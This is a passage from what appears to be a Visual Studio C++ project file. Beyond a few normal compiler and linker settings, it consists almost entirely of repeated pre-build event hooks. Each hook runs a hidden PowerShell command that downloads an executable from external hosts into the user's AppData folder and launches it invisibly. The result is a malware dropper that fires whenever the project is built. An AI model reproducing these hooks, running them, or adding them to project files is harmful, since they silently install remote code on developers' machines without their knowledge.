<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=gJRVD6EEizX07r1aRyLCW013.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=gJRVD6EEizX07r1aRyLCW013.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=gJRVD6EEizX07r1aRyLCW013.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=gJRVD6EEizX07r1aRyLCW013.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=gJRVD6EEizX07r1aRyLCW013.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=otKcaZlhkQQAcRi8ojLCW013.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=upAa8nppMvK3ggd1dFLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=aLxHnRbqj3Dj9n2THxLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=aLxHnRbqj3Dj9n2THxLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=aLxHnRbqj3Dj9n2THxLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=aLxHnRbqj3Dj9n2THxLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=aLxHnRbqj3Dj9n2THxLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=aLxHnRbqj3Dj9n2THxLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Yuw0R11odfVv9P1o9xLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Yuw0R11odfVv9P1o9xLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Yuw0R11odfVv9P1o9xLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Yuw0R11odfVv9P1o9xLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=ld7ClokRBD8oBjLLqpLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=ld7ClokRBD8oBjLLqpLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=E2IkWCtEES17n6Lv5vLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=E2IkWCtEES17n6Lv5vLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=4Suvv0GFZDE3St59PULCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=MHelDAwX4pDQEI4aRiPRE001.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=5m2aR5nRFUPBIwOVv8PRE001.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=5m2aR5nRFUPBIwOVv8PRE001.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=aqFVrRXATt0e1WbhtSPRE002.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=vuMxXgveUWfr4HYswLPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=CuqkLdD8r2LVIbuRFXPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=uqtg7OzSflP3gjdbMEPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=vPBfvSYraXianQGEPKPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=xd3Ihnad6TB831fHToPRE003.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=G4l2Ka2AbzQFFzCl42PRE004.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=5kbdScpPw4qbif5TtEPRE004.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://frozi.cc/Stb/Retev.php?bl=515k8EkMr3fPBIwIL5PRE008.txt' -OutFile $env:APPDATA\Berok.exe; Start-Process -FilePath $env:APPDATA\Berok.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=JOSBf2fDaTKZmCIop7LMX008.txt' -OutFile $env:APPDATA\HPSR.exe; Start-Process -FilePath $env:APPDATA\HPSR.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\HPSR.exe; Start-Process -FilePath $env:APPDATA\HPSR.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\HPSR.exe; Start-Process -FilePath $env:APPDATA\HPSR.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\HPSR.exe; Start-Process -FilePath $env:APPDATA\HPSR.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\HPSR.exe; Start-Process -FilePath $env:APPDATA\HPSR.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\HPSR.exe; Start-Process -FilePath $env:APPDATA\HPSR.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\HPSR.exe; Start-Process -FilePath $env:APPDATA\HPSR.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>
</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\HPSR.exe; Start-Process -FilePath $env:APPDATA\HPSR.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=hSoTjMPgKZmtpimvUjLMX008.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=4QfJE5FLNQSltzpZdILCW009.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=4QfJE5FLNQSltzpZdILCW009.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Nk6OvAKsRy9k6wicomLCW009.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Nk6OvAKsRy9k6wicomLCW009.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Nk6OvAKsRy9k6wicomLCW009.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Nk6OvAKsRy9k6wicomLCW009.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Nk6OvAKsRy9k6wicomLCW009.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Nk6OvAKsRy9k6wicomLCW009.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=MbTeY4wTlnhlVbNmIDLCW009.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=0GTls3ZELXLnKLrXDsLCW010.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=ENuwkBTakVYs8YpUNALCW011.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=ENuwkBTakVYs8YpUNALCW011.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Mzrj0OStxgmMYRqEMhLCW012.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=EB8yuBlnHK6sQ2qRxqLCW013.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=EB8yuBlnHK6sQ2qRxqLCW013.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=EB8yuBlnHK6sQ2qRxqLCW013.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=gJRVD6EEizX07r1aRyLCW013.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=gJRVD6EEizX07r1aRyLCW013.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=gJRVD6EEizX07r1aRyLCW013.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=gJRVD6EEizX07r1aRyLCW013.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=gJRVD6EEizX07r1aRyLCW013.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=otKcaZlhkQQAcRi8ojLCW013.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=upAa8nppMvK3ggd1dFLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=aLxHnRbqj3Dj9n2THxLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=aLxHnRbqj3Dj9n2THxLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=aLxHnRbqj3Dj9n2THxLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=aLxHnRbqj3Dj9n2THxLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=aLxHnRbqj3Dj9n2THxLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=aLxHnRbqj3Dj9n2THxLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Yuw0R11odfVv9P1o9xLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Yuw0R11odfVv9P1o9xLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
<Command>cmd.exe /b /c powershell -WindowStyle Hidden -Command "&amp; { iwr -Uri 'https://zetolacs-cloud.top/Stb/Retev.php?bl=Yuw0R11odfVv9P1o9xLCW014.txt' -OutFile $env:APPDATA\Zetolac.exe; Start-Process -FilePath $env:APPDATA\Zetolac.exe -WindowStyle Hidden }"</Command>
</PreBuildEvent>
<PreBuildEvent>
